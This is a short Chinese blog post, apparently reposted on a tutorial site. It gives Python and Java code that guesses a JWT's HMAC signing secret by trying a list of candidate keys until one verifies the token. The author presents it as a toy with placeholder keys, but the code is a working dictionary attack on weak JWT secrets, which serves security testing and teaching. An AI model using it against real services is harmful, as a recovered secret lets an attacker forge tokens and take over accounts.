栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Python

猜JWT关键字

Python 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

猜JWT关键字

  • 确定加密方式
  • 使用的包(依赖)[authlib.jose,auth0.jwt]
  • 破解sercet

写着玩的,没有什么价值,成功就和彩票一样,记录一下;
就是靠猜,哈哈哈~~

python
'''
@Author: Jeff.zheng
@Date : 2022/4/22
@Desc : 
'''
from authlib.jose import jwt

def bruteforce(token):
    #这里是秘钥,可以挨着试,成功极低
    easykeys = ["sercet1", "sercet2", "sercet3", "sercet5"] 
    for easykey in easykeys:
        try:
            jwt.decode(token.encode(encoding='utf-8'), easykey)
            print("秘钥:", easykey)
        except Exception as e:
            pass
    print("没有匹配到秘钥")


if __name__ == '__main__':
    token = "token"
    bruteforce(token)

java代码
import com.auth0.jwt.JWT;
import com.auth0.jwt.JWTVerifier;
import com.auth0.jwt.algorithms.Algorithm;
import com.auth0.jwt.interfaces.DecodedJWT;


public class TestToken {
    public  static  String token ="token";//这里放要破解的token

    public static void main(String[] args) {


        String [] mykeys = {"sercet1","sercet2","sercet3","sercet4" };//这里放可能的秘钥
        for (String mykey :mykeys ) {
            if(forceToken(mykey)){
                System.out.println("成功,key=》"+mykey);//成功的key
            }else {
                System.out.println("失败,key=》"+mykey);//失败的key
            }
        }
    }


    static Boolean forceToken(String secrete){
        try {
            JWTVerifier jwtVerifier = JWT.require(Algorithm.HMAC256(secrete)).build();
            DecodedJWT verify = null;
            verify = jwtVerifier.verify(token);
            return  true;
        }catch (Exception e){
            return false;
        }
    }
}


转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1019290.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号